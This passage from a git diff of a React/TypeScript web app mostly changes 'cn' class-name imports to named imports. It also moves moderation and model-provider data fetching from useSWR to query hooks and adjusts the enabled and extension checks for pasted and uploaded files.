+import { cn } from '@/utils/classnames'
 
 type EffectProps = {
   className?: string
diff --git a/web/app/components/base/emoji-picker/Inner.tsx b/web/app/components/base/emoji-picker/Inner.tsx
index 6299ea7aef..c023f26d1c 100644
--- a/web/app/components/base/emoji-picker/Inner.tsx
+++ b/web/app/components/base/emoji-picker/Inner.tsx
@@ -12,7 +12,7 @@ import {
 import Input from '@/app/components/base/input'
 import Divider from '@/app/components/base/divider'
 import { searchEmoji } from '@/utils/emoji'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 init({ data })
 
diff --git a/web/app/components/base/emoji-picker/index.tsx b/web/app/components/base/emoji-picker/index.tsx
index 7b91c62797..d12393f574 100644
--- a/web/app/components/base/emoji-picker/index.tsx
+++ b/web/app/components/base/emoji-picker/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import EmojiPickerInner from './Inner'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import Button from '@/app/components/base/button'
 import Modal from '@/app/components/base/modal'
diff --git a/web/app/components/base/encrypted-bottom/index.tsx b/web/app/components/base/encrypted-bottom/index.tsx
index 8416217517..be1862fc1b 100644
--- a/web/app/components/base/encrypted-bottom/index.tsx
+++ b/web/app/components/base/encrypted-bottom/index.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiLock2Fill } from '@remixicon/react'
 import Link from 'next/link'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/base/error-boundary/index.tsx b/web/app/components/base/error-boundary/index.tsx
index e3df2c2ca8..0c226299d0 100644
--- a/web/app/components/base/error-boundary/index.tsx
+++ b/web/app/components/base/error-boundary/index.tsx
@@ -3,7 +3,7 @@ import type { ErrorInfo, ReactNode } from 'react'
 import React, { useCallback, useEffect, useRef, useState } from 'react'
 import { RiAlertLine, RiBugLine } from '@remixicon/react'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ErrorBoundaryState = {
   hasError: boolean
diff --git a/web/app/components/base/features/new-feature-panel/annotation-reply/annotation-ctrl-button.tsx b/web/app/components/base/features/new-feature-panel/annotation-reply/annotation-ctrl-button.tsx
index 3050249bb6..ef1fb183c8 100644
--- a/web/app/components/base/features/new-feature-panel/annotation-reply/annotation-ctrl-button.tsx
+++ b/web/app/components/base/features/new-feature-panel/annotation-reply/annotation-ctrl-button.tsx
@@ -41,7 +41,7 @@ const AnnotationCtrlButton: FC<Props> = ({
       setShowAnnotationFullModal()
       return
     }
-    const res: any = await addAnnotation(appId, {
+    const res = await addAnnotation(appId, {
       message_id: messageId,
       question: query,
       answer,
@@ -50,7 +50,7 @@ const AnnotationCtrlButton: FC<Props> = ({
       message: t('common.api.actionSuccess') as string,
       type: 'success',
     })
-    onAdded(res.id, res.account?.name)
+    onAdded(res.id, res.account?.name ?? '')
   }
 
   return (
diff --git a/web/app/components/base/features/new-feature-panel/annotation-reply/score-slider/base-slider/index.tsx b/web/app/components/base/features/new-feature-panel/annotation-reply/score-slider/base-slider/index.tsx
index cc8e125e6b..b97f18ae87 100644
--- a/web/app/components/base/features/new-feature-panel/annotation-reply/score-slider/base-slider/index.tsx
+++ b/web/app/components/base/features/new-feature-panel/annotation-reply/score-slider/base-slider/index.tsx
@@ -1,6 +1,6 @@
 import ReactSlider from 'react-slider'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ISliderProps = {
   className?: string
diff --git a/web/app/components/base/features/new-feature-panel/conversation-opener/modal.tsx b/web/app/components/base/features/new-feature-panel/conversation-opener/modal.tsx
index 9d2236c1a4..daf1fe4f70 100644
--- a/web/app/components/base/features/new-feature-panel/conversation-opener/modal.tsx
+++ b/web/app/components/base/features/new-feature-panel/conversation-opener/modal.tsx
@@ -14,7 +14,7 @@ import { getInputKeys } from '@/app/components/base/block-input'
 import type { PromptVariable } from '@/models/debug'
 import type { InputVar } from '@/app/components/workflow/types'
 import { getNewVar } from '@/utils/var'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 import { checkKeys } from '@/utils/var'
 
diff --git a/web/app/components/base/features/new-feature-panel/dialog-wrapper.tsx b/web/app/components/base/features/new-feature-panel/dialog-wrapper.tsx
index 9efd072e00..3c82150e01 100644
--- a/web/app/components/base/features/new-feature-panel/dialog-wrapper.tsx
+++ b/web/app/components/base/features/new-feature-panel/dialog-wrapper.tsx
@@ -1,7 +1,7 @@
 import { Fragment, useCallback } from 'react'
 import type { ReactNode } from 'react'
 import { Dialog, DialogPanel, Transition, TransitionChild } from '@headlessui/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type DialogProps = {
   className?: string
diff --git a/web/app/components/base/features/new-feature-panel/feature-bar.tsx b/web/app/components/base/features/new-feature-panel/feature-bar.tsx
index bea26d8bb7..b32ef3e4f7 100644
--- a/web/app/components/base/features/new-feature-panel/feature-bar.tsx
+++ b/web/app/components/base/features/new-feature-panel/feature-bar.tsx
@@ -6,7 +6,7 @@ import Button from '@/app/components/base/button'
 import Tooltip from '@/app/components/base/tooltip'
 import VoiceSettings from '@/app/components/base/features/new-feature-panel/text-to-speech/voice-settings'
 import { useFeatures } from '@/app/components/base/features/hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   isChatMode?: boolean
diff --git a/web/app/components/base/features/new-feature-panel/moderation/index.tsx b/web/app/components/base/features/new-feature-panel/moderation/index.tsx
index b5bcbca474..abbde2bab9 100644
--- a/web/app/components/base/features/new-feature-panel/moderation/index.tsx
+++ b/web/app/components/base/features/new-feature-panel/moderation/index.tsx
@@ -1,6 +1,5 @@
 import React, { useCallback, useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import { produce } from 'immer'
 import { useContext } from 'use-context-selector'
 import { RiEqualizer2Line } from '@remixicon/react'
@@ -10,9 +9,9 @@ import Button from '@/app/components/base/button'
 import { useFeatures, useFeaturesStore } from '@/app/components/base/features/hooks'
 import type { OnFeaturesChange } from '@/app/components/base/features/types'
 import { FeatureEnum } from '@/app/components/base/features/types'
-import { fetchCodeBasedExtensionList } from '@/service/common'
 import { useModalContext } from '@/context/modal-context'
 import I18n from '@/context/i18n'
+import { useCodeBasedExtensions } from '@/service/use-common'
 
 type Props = {
   disabled?: boolean
@@ -28,10 +27,7 @@ const Moderation = ({
   const { locale } = useContext(I18n)
   const featuresStore = useFeaturesStore()
   const moderation = useFeatures(s => s.features.moderation)
-  const { data: codeBasedExtensionList } = useSWR(
-    '/code-based-extension?module=moderation',
-    fetchCodeBasedExtensionList,
-  )
+  const { data: codeBasedExtensionList } = useCodeBasedExtensions('moderation')
   const [isHovering, setIsHovering] = useState(false)
 
   const handleOpenModerationSettingModal = () => {
diff --git a/web/app/components/base/features/new-feature-panel/moderation/moderation-setting-modal.tsx b/web/app/components/base/features/new-feature-panel/moderation/moderation-setting-modal.tsx
index ff45a7ea4c..dd9c58c5ab 100644
--- a/web/app/components/base/features/new-feature-panel/moderation/moderation-setting-modal.tsx
+++ b/web/app/components/base/features/new-feature-panel/moderation/moderation-setting-modal.tsx
@@ -1,6 +1,5 @@
 import type { ChangeEvent, FC } from 'react'
 import { useState } from 'react'
-import useSWR from 'swr'
 import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
@@ -13,20 +12,17 @@ import Divider from '@/app/components/base/divider'
 import { BookOpen01 } from '@/app/components/base/icons/src/vender/line/education'
 import type { ModerationConfig, ModerationContentConfig } from '@/models/debug'
 import { useToastContext } from '@/app/components/base/toast'
-import {
-  fetchCodeBasedExtensionList,
-  fetchModelProviders,
-} from '@/service/common'
 import type { CodeBasedExtensionItem } from '@/models/common'
 import I18n from '@/context/i18n'
 import { LanguagesSupported } from '@/i18n-config/language'
 import { InfoCircle } from '@/app/components/base/icons/src/vender/line/general'
 import { useModalContext } from '@/context/modal-context'
 import { CustomConfigurationStatusEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 import { useDocLink } from '@/context/i18n'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import { useCodeBasedExtensions, useModelProviders } from '@/service/use-common'
 
 const systemTypes = ['openai_moderation', 'keywords', 'api']
 
@@ -51,21 +47,18 @@ const ModerationSettingModal: FC<ModerationSettingModalProps> = ({
   const docLink = useDocLink()
   const { notify } = useToastContext()
   const { locale } = useContext(I18n)
-  const { data: modelProviders, isLoading, mutate } = useSWR('/workspaces/current/model-providers', fetchModelProviders)
+  const { data: modelProviders, isPending: isLoading, refetch: refetchModelProviders } = useModelProviders()
   const [localeData, setLocaleData] = useState<ModerationConfig>(data)
   const { setShowAccountSettingModal } = useModalContext()
   const handleOpenSettingsModal = () => {
     setShowAccountSettingModal({
       payload: ACCOUNT_SETTING_TAB.PROVIDER,
       onCancelCallback: () => {
-        mutate()
+        refetchModelProviders()
       },
     })
   }
-  const { data: codeBasedExtensionList } = useSWR(
-    '/code-based-extension?module=moderation',
-    fetchCodeBasedExtensionList,
-  )
+  const { data: codeBasedExtensionList } = useCodeBasedExtensions('moderation')
   const openaiProvider = modelProviders?.data.find(item => item.provider === 'langgenius/openai/openai')
   const systemOpenaiProviderEnabled = openaiProvider?.system_configuration.enabled
   const systemOpenaiProviderQuota = systemOpenaiProviderEnabled ? openaiProvider?.system_configuration.quota_configurations.find(item => item.quota_type === openaiProvider.system_configuration.current_quota_type) : undefined
diff --git a/web/app/components/base/features/new-feature-panel/text-to-speech/param-config-content.tsx b/web/app/components/base/features/new-feature-panel/text-to-speech/param-config-content.tsx
index 6b8bf2d567..ab67a0bae0 100644
--- a/web/app/components/base/features/new-feature-panel/text-to-speech/param-config-content.tsx
+++ b/web/app/components/base/features/new-feature-panel/text-to-speech/param-config-content.tsx
@@ -14,7 +14,7 @@ import AudioBtn from '@/app/components/base/audio-btn'
 import { languages } from '@/i18n-config/language'
 import { TtsAutoPlay } from '@/types/app'
 import type { OnFeaturesChange } from '@/app/components/base/features/types'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useAppVoices } from '@/service/use-apps'
 
 type VoiceParamConfigProps = {
@@ -93,7 +93,7 @@ const VoiceParamConfig = ({
           <div className='relative h-8'>
             <ListboxButton
               className={'h-full w-full cursor-pointer rounded-lg border-0 bg-components-input-bg-normal py-1.5 pl-3 pr-10 focus-visible:bg-state-base-hover focus-visible:outline-none group-hover:bg-state-base-hover sm:text-sm sm:leading-6'}>
-              <span className={classNames('block truncate text-left text-text-secondary', !languageItem?.name && 'text-text-tertiary')}>
+              <span className={cn('block truncate text-left text-text-secondary', !languageItem?.name && 'text-text-tertiary')}>
                 {languageItem?.name ? t(`common.voice.language.${languageItem?.value.replace('-', '')}`) : localLanguagePlaceholder}
               </span>
               <span className="pointer-events-none absolute inset-y-0 right-0 flex items-center pr-2">
@@ -124,12 +124,10 @@ const VoiceParamConfig = ({
                     {({ /* active, */ selected }) => (
                       <>
                         <span
-                          className={classNames('block', selected && 'font-normal')}>{t(`common.voice.language.${(item.value).toString().replace('-', '')}`)}</span>
+                          className={cn('block', selected && 'font-normal')}>{t(`common.voice.language.${(item.value).toString().replace('-', '')}`)}</span>
                         {(selected || item.value === text2speech?.language) && (
                           <span
-                            className={classNames(
-                              'absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary',
-                            )}
+                            className={cn('absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary')}
                           >
                             <CheckIcon className="h-4 w-4" aria-hidden="true" />
                           </span>
@@ -161,7 +159,7 @@ const VoiceParamConfig = ({
               <ListboxButton
                 className={'h-full w-full cursor-pointer rounded-lg border-0 bg-components-input-bg-normal py-1.5 pl-3 pr-10 focus-visible:bg-state-base-hover focus-visible:outline-none group-hover:bg-state-base-hover sm:text-sm sm:leading-6'}>
                 <span
-                  className={classNames('block truncate text-left text-text-secondary', !voiceItem?.name && 'text-text-tertiary')}>{voiceItem?.name ?? localVoicePlaceholder}</span>
+                  className={cn('block truncate text-left text-text-secondary', !voiceItem?.name && 'text-text-tertiary')}>{voiceItem?.name ?? localVoicePlaceholder}</span>
                 <span className="pointer-events-none absolute inset-y-0 right-0 flex items-center pr-2">
                   <ChevronDownIcon
                     className="h-4 w-4 text-text-tertiary"
@@ -189,12 +187,10 @@ const VoiceParamConfig = ({
                     >
                       {({ /* active, */ selected }) => (
                         <>
-                          <span className={classNames('block', selected && 'font-normal')}>{item.name}</span>
+                          <span className={cn('block', selected && 'font-normal')}>{item.name}</span>
                           {(selected || item.value === text2speech?.voice) && (
                             <span
-                              className={classNames(
-                                'absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary',
-                              )}
+                              className={cn('absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary')}
                             >
                               <CheckIcon className="h-4 w-4" aria-hidden="true" />
                             </span>
diff --git a/web/app/components/base/file-thumb/index.tsx b/web/app/components/base/file-thumb/index.tsx
index 2b9004545a..36d1a91533 100644
--- a/web/app/components/base/file-thumb/index.tsx
+++ b/web/app/components/base/file-thumb/index.tsx
@@ -2,7 +2,7 @@ import React, { useCallback } from 'react'
 import ImageRender from './image-render'
 import type { VariantProps } from 'class-variance-authority'
 import { cva } from 'class-variance-authority'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getFileAppearanceType } from '../file-uploader/utils'
 import { FileTypeIcon } from '../file-uploader'
 import Tooltip from '../tooltip'
diff --git a/web/app/components/base/file-uploader/file-from-link-or-local/index.tsx b/web/app/components/base/file-uploader/file-from-link-or-local/index.tsx
index 9fae0abafa..b9d22c0325 100644
--- a/web/app/components/base/file-uploader/file-from-link-or-local/index.tsx
+++ b/web/app/components/base/file-uploader/file-from-link-or-local/index.tsx
@@ -15,7 +15,7 @@ import {
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
 import type { FileUpload } from '@/app/components/base/features/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FileFromLinkOrLocalProps = {
   showFromLink?: boolean
diff --git a/web/app/components/base/file-uploader/file-image-render.tsx b/web/app/components/base/file-uploader/file-image-render.tsx
index d6135051dd..ff2e2901e7 100644
--- a/web/app/components/base/file-uploader/file-image-render.tsx
+++ b/web/app/components/base/file-uploader/file-image-render.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FileImageRenderProps = {
   imageUrl: string
diff --git a/web/app/components/base/file-uploader/file-list-in-log.tsx b/web/app/components/base/file-uploader/file-list-in-log.tsx
index 186e8fcc2c..76d5c1412e 100644
--- a/web/app/components/base/file-uploader/file-list-in-log.tsx
+++ b/web/app/components/base/file-uploader/file-list-in-log.tsx
@@ -10,7 +10,7 @@ import {
 } from './utils'
 import Tooltip from '@/app/components/base/tooltip'
 import { SupportUploadFileTypes } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   fileList: {
diff --git a/web/app/components/base/file-uploader/file-type-icon.tsx b/web/app/components/base/file-uploader/file-type-icon.tsx
index 850b08c71f..0d8d69a116 100644
--- a/web/app/components/base/file-uploader/file-type-icon.tsx
+++ b/web/app/components/base/file-uploader/file-type-icon.tsx
@@ -15,7 +15,7 @@ import {
 } from '@remixicon/react'
 import { FileAppearanceTypeEnum } from './types'
 import type { FileAppearanceType } from './types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const FILE_TYPE_ICON_MAP = {
   [FileAppearanceTypeEnum.pdf]: {
diff --git a/web/app/components/base/file-uploader/file-uploader-in-attachment/file-item.tsx b/web/app/components/base/file-uploader/file-uploader-in-attachment/file-item.tsx
index b308e8d758..e9e19d46a5 100644
--- a/web/app/components/base/file-uploader/file-uploader-in-attachment/file-item.tsx
+++ b/web/app/components/base/file-uploader/file-uploader-in-attachment/file-item.tsx
@@ -19,7 +19,7 @@ import type { FileEntity } from '../types'
 import ActionButton from '@/app/components/base/action-button'
 import ProgressCircle from '@/app/components/base/progress-bar/progress-circle'
 import { formatFileSize } from '@/utils/format'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ReplayLine } from '@/app/components/base/icons/src/vender/other'
 import { SupportUploadFileTypes } from '@/app/components/workflow/types'
 import ImagePreview from '@/app/components/base/image-uploader/image-preview'
diff --git a/web/app/components/base/file-uploader/file-uploader-in-attachment/index.tsx b/web/app/components/base/file-uploader/file-uploader-in-attachment/index.tsx
index 87a5411eab..936419b25d 100644
--- a/web/app/components/base/file-uploader/file-uploader-in-attachment/index.tsx
+++ b/web/app/components/base/file-uploader/file-uploader-in-attachment/index.tsx
@@ -16,7 +16,7 @@ import FileInput from '../file-input'
 import { useFile } from '../hooks'
 import FileItem from './file-item'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileUpload } from '@/app/components/base/features/types'
 import { TransferMethod } from '@/types/app'
 
diff --git a/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-item.tsx b/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-item.tsx
index 667bf7cc15..8f3959dca4 100644
--- a/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-item.tsx
+++ b/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-item.tsx
@@ -11,7 +11,7 @@ import {
 } from '../utils'
 import FileTypeIcon from '../file-type-icon'
 import type { FileEntity } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { formatFileSize } from '@/utils/format'
 import ProgressCircle from '@/app/components/base/progress-bar/progress-circle'
 import { ReplayLine } from '@/app/components/base/icons/src/vender/other'
diff --git a/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-list.tsx b/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-list.tsx
index ba909040c3..7770d07153 100644
--- a/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-list.tsx
+++ b/web/app/components/base/file-uploader/file-uploader-in-chat-input/file-list.tsx
@@ -5,7 +5,7 @@ import FileImageItem from './file-image-item'
 import FileItem from './file-item'
 import type { FileUpload } from '@/app/components/base/features/types'
 import { SupportUploadFileTypes } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FileListProps = {
   className?: string
diff --git a/web/app/components/base/file-uploader/file-uploader-in-chat-input/index.tsx b/web/app/components/base/file-uploader/file-uploader-in-chat-input/index.tsx
index 7e6e190ddb..291388ca02 100644
--- a/web/app/components/base/file-uploader/file-uploader-in-chat-input/index.tsx
+++ b/web/app/components/base/file-uploader/file-uploader-in-chat-input/index.tsx
@@ -7,7 +7,7 @@ import {
 } from '@remixicon/react'
 import FileFromLinkOrLocal from '../file-from-link-or-local'
 import ActionButton from '@/app/components/base/action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileUpload } from '@/app/components/base/features/types'
 import { TransferMethod } from '@/types/app'
 
diff --git a/web/app/components/base/file-uploader/hooks.ts b/web/app/components/base/file-uploader/hooks.ts
index 521ecdbafd..2e72574cfb 100644
--- a/web/app/components/base/file-uploader/hooks.ts
+++ b/web/app/components/base/file-uploader/hooks.ts
@@ -47,7 +47,7 @@ export const useFileSizeLimit = (fileUploadConfig?: FileUploadConfigResponse) =>
   }
 }
 
-export const useFile = (fileConfig: FileUpload) => {
+export const useFile = (fileConfig: FileUpload, noNeedToCheckEnable = true) => {
   const { t } = useTranslation()
   const { notify } = useToastContext()
   const fileStore = useFileStore()
@@ -246,6 +246,11 @@ export const useFile = (fileConfig: FileUpload) => {
   }, [fileStore])
 
   const handleLocalFileUpload = useCallback((file: File) => {
+    // Check file upload enabled
+    if (!noNeedToCheckEnable && !fileConfig.enabled) {
+      notify({ type: 'error', message: t('common.fileUploader.uploadDisabled') })
+      return
+    }
     if (!isAllowedFileExtension(file.name, file.type, fileConfig.allowed_file_types || [], fileConfig.allowed_file_extensions || [])) {
       notify({ type: 'error', message: `${t('common.fileUploader.fileExtensionNotSupport')} ${file.type}` })
       return
@@ -298,30 +303,16 @@ export const useFile = (fileConfig: FileUpload) => {
       false,
     )
     reader.readAsDataURL(file)
-  }, [checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions])
+  }, [noNeedToCheckEnable, checkSizeLimit, notify, t, handleAddFile, handleUpdateFile, params.token, fileConfig?.allowed_file_types, fileConfig?.allowed_file_extensions, fileConfig?.enabled])
 
   const handleClipboardPasteFile = useCallback((e: ClipboardEvent<HTMLTextAreaElement>) => {
     const file = e.clipboardData?.files[0]
     const text = e.clipboardData?.getData('text/plain')
     if (file && !text) {
       e.preventDefault()
-
-      const allowedFileTypes = fileConfig.allowed_file_types || []
-      const fileType = getSupportFileType(file.name, file.type, allowedFileTypes?.includes(SupportUploadFileTypes.custom))
-      const isFileTypeAllowed = allowedFileTypes.includes(fileType)
-
-      // Check if file type is in allowed list
-      if (!isFileTypeAllowed || !fileConfig.enabled) {
-        notify({
-          type: 'error',
-          message: t('common.fileUploader.fileExtensionNotSupport'),
-        })
-        return
-      }
-
       handleLocalFileUpload(file)
     }
-  }, [handleLocalFileUpload, fileConfig, notify, t])
+  }, [handleLocalFileUpload])
 
   const [isDragActive, setIsDragActive] = useState(false)
   const handleDragFileEnter = useCallback((e: React.DragEvent<HTMLElement>) => {
diff --git a/web/app/components/base/form/components/base/base-field.tsx b/web/app/components/base/form/components/base/base-field.tsx
index db57059b82..c51da5fc06 100644
--- a/web/app/components/base/form/components/base/base-field.tsx
+++ b/web/app/components/base/form/components/base/base-field.tsx
@@ -8,7 +8,7 @@ import PureSelect from '@/app/components/base/select/pure'
 import Tooltip from '@/app/components/base/tooltip'
 import { useRenderI18nObject } from '@/hooks/use-i18n'
 import { useTriggerPluginDynamicOptions } from '@/service/use-triggers'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiExternalLinkLine } from '@remixicon/react'
 import type { AnyFieldApi } from '@tanstack/react-form'
 import { useStore } from '@tanstack/react-form'
diff --git a/web/app/components/base/form/components/base/base-form.tsx b/web/app/components/base/form/components/base/base-form.tsx
index 0d35380523..4cf9ab52ec 100644
--- a/web/app/components/base/form/components/base/base-form.tsx
+++ b/web/app/components/base/form/components/base/base-form.tsx
@@ -26,7 +26,7 @@ import {
 import type {
   BaseFieldProps,
 } from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   useGetFormValues,
   useGetValidators,
diff --git a/web/app/components/base/form/components/field/checkbox.tsx b/web/app/components/base/form/components/field/checkbox.tsx
index 855dbd80fe..526e8e3853 100644
--- a/web/app/components/base/form/components/field/checkbox.tsx
+++ b/web/app/components/base/form/components/field/checkbox.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFieldContext } from '../..'
 import Checkbox from '../../../checkbox'
 
diff --git a/web/app/components/base/form/components/field/custom-select.tsx b/web/app/components/base/form/components/field/custom-select.tsx
index 0e605184dc..fb6bb18e1b 100644
--- a/web/app/components/base/form/components/field/custom-select.tsx
+++ b/web/app/components/base/form/components/field/custom-select.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFieldContext } from '../..'
 import type { CustomSelectProps, Option } from '../../../select/custom'
 import CustomSelect from '../../../select/custom'
diff --git a/web/app/components/base/form/components/field/file-types.tsx b/web/app/components/base/form/components/field/file-types.tsx
index 44c77dc894..2a05a7035b 100644
--- a/web/app/components/base/form/components/field/file-types.tsx
+++ b/web/app/components/base/form/components/field/file-types.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { LabelProps } from '../label'
 import { useFieldContext } from '../..'
 import Label from '../label'
diff --git a/web/app/components/base/form/components/field/file-uploader.tsx b/web/app/components/base/form/components/field/file-uploader.tsx
index 2e4e26b5d6..3e447702d5 100644
--- a/web/app/components/base/form/components/field/file-uploader.tsx
+++ b/web/app/components/base/form/components/field/file-uploader.tsx
@@ -2,7 +2,7 @@ import React from 'react'
 import { useFieldContext } from '../..'
 import type { LabelProps } from '../label'
 import Label from '../label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileUploaderInAttachmentWrapperProps } from '../../../file-uploader/file-uploader-in-attachment'
 import FileUploaderInAttachmentWrapper from '../../../file-uploader/file-uploader-in-attachment'
 import type { FileEntity } from '../../../file-uploader/types'
diff --git a/web/app/components/base/form/components/field/input-type-select/index.tsx b/web/app/components/base/form/components/field/input-type-select/index.tsx
index 256fd872d2..d3961e158c 100644
--- a/web/app/components/base/form/components/field/input-type-select/index.tsx
+++ b/web/app/components/base/form/components/field/input-type-select/index.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFieldContext } from '../../..'
 import type { CustomSelectProps } from '../../../../select/custom'
 import CustomSelect from '../../../../select/custom'
diff --git a/web/app/components/base/form/components/field/input-type-select/trigger.tsx b/web/app/components/base/form/components/field/input-type-select/trigger.tsx
index d71f3b7628..270ead6001 100644
--- a/web/app/components/base/form/components/field/input-type-select/trigger.tsx
+++ b/web/app/components/base/form/components/field/input-type-select/trigger.tsx
@@ -1,6 +1,6 @@
 import React from 'react'
 import Badge from '@/app/components/base/badge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import type { FileTypeSelectOption } from './types'
diff --git a/web/app/components/base/form/components/field/mixed-variable-text-input/index.tsx b/web/app/components/base/form/components/field/mixed-variable-text-input/index.tsx
index 4bb562ba3a..c8614db7dd 100644
--- a/web/app/components/base/form/components/field/mixed-variable-text-input/index.tsx
+++ b/web/app/components/base/form/components/field/mixed-variable-text-input/index.tsx
@@ -2,7 +2,7 @@ import {
   memo,
 } from 'react'
 import PromptEditor from '@/app/components/base/prompt-editor'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Placeholder from './placeholder'
 
 type MixedVariableTextInputProps = {
diff --git a/web/app/components/base/form/components/field/number-input.tsx b/web/app/components/base/form/components/field/number-input.tsx
index 46d2ced8b6..5bb3494ed8 100644
--- a/web/app/components/base/form/components/field/number-input.tsx
+++ b/web/app/components/base/form/components/field/number-input.tsx
@@ -2,7 +2,7 @@ import React from 'react'
 import { useFieldContext } from '../..'
 import type { LabelProps } from '../label'
 import Label from '../label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { InputNumberProps } from '../../../input-number'
 import { InputNumber } from '../../../input-number'
 
diff --git a/web/app/components/base/form/components/field/number-slider.tsx b/web/app/components/base/form/components/field/number-slider.tsx
index 1e8fc4e912..0dbffb7578 100644
--- a/web/app/components/base/form/components/field/number-slider.tsx
+++ b/web/app/components/base/form/components/field/number-slider.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { LabelProps } from '../label'
 import { useFieldContext } from '../..'
 import Label from '../label'
diff --git a/web/app/components/base/form/components/field/options.tsx b/web/app/components/base/form/components/field/options.tsx
index 9ba9c4d398..6cfffc3c43 100644
--- a/web/app/components/base/form/components/field/options.tsx
+++ b/web/app/components/base/form/components/field/options.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFieldContext } from '../..'
 import type { LabelProps } from '../label'
 import Label from '../label'
diff --git a/web/app/components/base/form/components/field/select.tsx b/web/app/components/base/form/components/field/select.tsx
index 8a36a49510..be6337e42c 100644
--- a/web/app/components/base/form/components/field/select.tsx
+++ b/web/app/components/base/form/components/field/select.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFieldContext } from '../..'
 import type { Option, PureSelectProps } from '../../../select/pure'
 import PureSelect from '../../../select/pure'
diff --git a/web/app/components/base/form/components/field/text-area.tsx b/web/app/components/base/form/components/field/text-area.tsx
index 2392d0609e..675f73d69c 100644
--- a/web/app/components/base/form/components/field/text-area.tsx
+++ b/web/app/components/base/form/components/field/text-area.tsx
@@ -2,7 +2,7 @@ import React from 'react'
 import { useFieldContext } from '../..'
 import type { LabelProps } from '../label'
 import Label from '../label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { TextareaProps } from '../../../textarea'
 import Textarea from '../../../textarea'
 
diff --git a/web/app/components/base/form/components/field/text.tsx b/web/app/components/base/form/components/field/text.tsx
index ed6cab9423..9a18ee4db6 100644
--- a/web/app/components/base/form/components/field/text.tsx
+++ b/web/app/components/base/form/components/field/text.tsx
@@ -3,7 +3,7 @@ import { useFieldContext } from '../..'
 import Input, { type InputProps } from '../../../input'
 import type { LabelProps } from '../label'
 import Label from '../label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type TextFieldProps = {
   label: string
diff --git a/web/app/components/base/form/components/field/upload-method.tsx b/web/app/components/base/form/components/field/upload-method.tsx
index 8aac32f638..8ec619ba00 100644
--- a/web/app/components/base/form/components/field/upload-method.tsx
+++ b/web/app/components/base/form/components/field/upload-method.tsx
